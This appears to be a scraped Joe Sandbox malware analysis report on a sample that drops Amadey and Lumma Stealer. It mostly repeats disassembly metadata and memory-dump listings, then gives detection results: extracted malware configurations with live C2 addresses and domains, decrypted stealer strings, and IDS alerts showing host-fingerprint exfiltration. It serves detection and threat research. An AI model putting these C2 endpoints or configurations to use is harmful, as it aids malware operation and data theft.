Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 31e5e912249599be15d39bbc8c161f0648a7b9ad5ec57231fe360a59fd25b565
Instruction ID: 72fdbd31db99e9b18386a4567eee44cdfe3469e7ecccfeb069328f1f53d7aa2d
Opcode Fuzzy Hash: 31e5e912249599be15d39bbc8c161f0648a7b9ad5ec57231fe360a59fd25b565
Instruction Fuzzy Hash: 5A115935A002589BCB15EF29C8849AD73A5AF85764B0440AAEC12B7381DF30DD81CBD0

Function 00ECCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,00ED65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 00ECCAFC
CreateSemaphoreW.KERNEL32(?,00ED65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 00ECCB1E

Strings

e, xrefs: 00ECCB12, 00ECCAF0

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e
API String ID: 1078844751-327453039
Opcode ID: 483922598128aa1722d21089254d33f422935f14ac148ea21dedf26442a245bd
Instruction ID: bc112b84271a8b96729cf6d544b9c702697df6d68fc91086097cc3f930b407ee
Opcode Fuzzy Hash: 483922598128aa1722d21089254d33f422935f14ac148ea21dedf26442a245bd
Instruction Fuzzy Hash: 12F0127650112CABCF224F80ED04EAE7F26FB08B60B148418FD0866130CA329C22EFD0

Function 00EDB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00EDB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDB961

Strings

pContext, xrefs: 00EDB959

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 68dbc538fc626f1dceed6163d73f52f54a021d4dd2e3516c50b4e8c90f32b7e0
Instruction ID: 8a6327ce8b3f941d60c964105c2d6ff92d375121a161c7059b7b571e1ee27ea5
Opcode Fuzzy Hash: 68dbc538fc626f1dceed6163d73f52f54a021d4dd2e3516c50b4e8c90f32b7e0
Instruction Fuzzy Hash: 2AE02239B00208E7CB10B765E85AC9EB7B8AEC0710B04401AE511B3380EF70EE01DAD1

Function 00ED34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED34FC

Strings

version, xrefs: 00ED34E1
pScheduler, xrefs: 00ED34F4

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 3dd2f5b3a354825e45acabe858b157aa6b4b683f0b7c3094368b0c8bb30f54b6
Instruction ID: 9aec808fdcbcc09e57779aed496a499448ddc6ef4fa23eff246f04d23120c6b2
Opcode Fuzzy Hash: 3dd2f5b3a354825e45acabe858b157aa6b4b683f0b7c3094368b0c8bb30f54b6
Instruction Fuzzy Hash: 72E04F24440208B6CB25AB64D84BADC77A4EB10709F14D127B861711D19BB89799EA83

Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Source: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "rapeflowwj.lat", "grannyejh.lat", "discokeyus.lat", "pancakedipyps.click", "crosshuaht.lat", "sustainskelet.lat", "energyaffai.lat", "necklacebudi.lat"], "Build id": "FATE99--test"}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: rapeflowwj.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: crosshuaht.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: sustainskelet.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: aspecteirs.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: energyaffai.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: necklacebudi.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: discokeyus.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: grannyejh.lat
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: pancakedipyps.click
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 9.2.623cea31e9.exe.400000.0.raw.unpack	String decryptor: FATE99--test

Source: file.exe	Virustotal: Detection: 55%			Perma Link
Source: file.exe	ReversingLabs: Detection: 47%

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.4:58053 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49788 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49790 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49800 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49808 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49807 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49816 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49831 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49829 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49839 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49855 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49872 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49904 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49921 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058212 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click) : 192.168.2.4:61588 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058222 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz) : 192.168.2.4:57416 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058223 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI) : 192.168.2.4:49931 -> 104.131.68.180:443
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 104.131.68.180:443 -> 192.168.2.4:49931
